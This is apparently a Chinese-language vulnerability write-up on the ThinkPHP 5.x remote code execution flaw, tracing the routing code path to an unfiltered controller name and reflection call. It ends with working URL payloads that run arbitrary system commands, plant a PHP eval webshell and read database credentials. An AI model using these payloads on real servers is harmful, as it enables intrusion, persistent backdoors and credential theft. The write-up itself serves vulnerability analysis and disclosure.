2018年12月11日,exploit-db更新了一個thinkphp框架遠程代碼執行漏洞
exploit地址:https://www.exploit-db.com/exploits/45978
因爲框架對控制器名沒有進行足夠的檢測致使在沒有開啓強制路由的狀況下getshell漏洞影響範圍
Thinkphp 5.1.0 - 5.1.31
Thinkphp 5.0.5 - 5.0.23安裝
:
下載地址http://www.thinkphp.cn/donate/download/id/1125.html
下載完解壓在/var/www/html/目錄下便可漏洞分析
/thinkphp/library/think/App.php 行數:120
咱們能夠看到經過self::routerCheck函數進行路由檢測
咱們能夠看到又進入$request->path()函數
/thinkphp/library/think/Request.php 行數:416行
進入pathinfo()函數,繼續追蹤到384行
Config::get('var_pathinfo')是配置文件中的設置的參數,默認值爲s,從GET中獲取鍵值,而後賦值給routeCheck中的$path
咱們再回到App.php 行數:606
這裏會進行路由檢測,檢查$check後會進入else分支導入路由配置,接着檢測路由url調度結果爲$result,若是調度失敗且開啓了強制路由$must,則報出路由無效,接着進入Route::parseUrl函數,根據$path(自定義url)解析操做
開始跟蹤parseUrl函數
/thinkphp/library/think/Route.php 行數:1208php
進入parseUrlPath函數 行數:1275
這裏咱們能夠看到對模塊/控制器/操做的url地址分割成數組來返回(沒截好圖有點重了)行數:1217
咱們能夠看到,返回的結果賦值爲$path,提取路由信息又封裝到$route,最後返回
thinkphp/library/think/App.php 行數:120
進入self::exec函數 行數:445
咱們能夠看到模塊/控制器/操做 的函數爲self::module
開始跟蹤module函數 行數:494html
咱們能夠看到,根據$config['app_multi_module']進入多模塊部署,$bind爲NULL,又進入elseif分支,判斷模塊是否在禁止的列表裏面$config['deny_module_list'],並且mmodule存在,$available = true,就不會拋出異常
module函數最後的返回值,發現$controller沒有進行過濾,那麼此時應該爲think\app,也就是return self::invokeMethod($call, $vars);
進入self::invokeMethod函數 行數:329thinkphp
此時穿進去的$call也就是$method,是一個數組,第一個元素是一個think\App對象,第二個元素則是調用方法名稱的字符串invokefunction,而後經過反射ReflectionMethod獲取這個對象下對應的方法
再經過函數$args = self::bindParams($reflect, $vars);獲取傳入的參數,也就是payloadshell
最後再調用反射$reflect->invokeArgs($args);,將Payload數組傳入反射對象函數invokeFunction,完成代碼執行。
至此,ThinkPHP遠程代碼執行漏洞分析完成
————————————————————————————————————————漏洞利用
http://xxx.xxx.xxx(這裏爲你的域名)/public/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
遠程代碼執行命令:whoami(連接後面的whoami能夠改爲你要執行的命令,特殊符號請進行url轉碼)
http://xxx.xxx.xxx/public/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
經過phpinfo函數寫出phpinfo的信息數據庫
http://xxx.xxx.xxx/public/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20^%3C?php%20@eval($_GET[%22snowwolf%22])?^%3E%3Eshell.php
寫入shell
http://xxx.xxx.xxx/public/index.php?s=index/\think\app/invokefunction&function=phpinfo&vars[0]=100
也是顯示phpinfo數組
http://xxx.xxxx.xxx/thinkphp/public//?s=.|think\config/get&name=database.username
數據庫用戶名(後面的username改成password爲數據庫密碼)php框架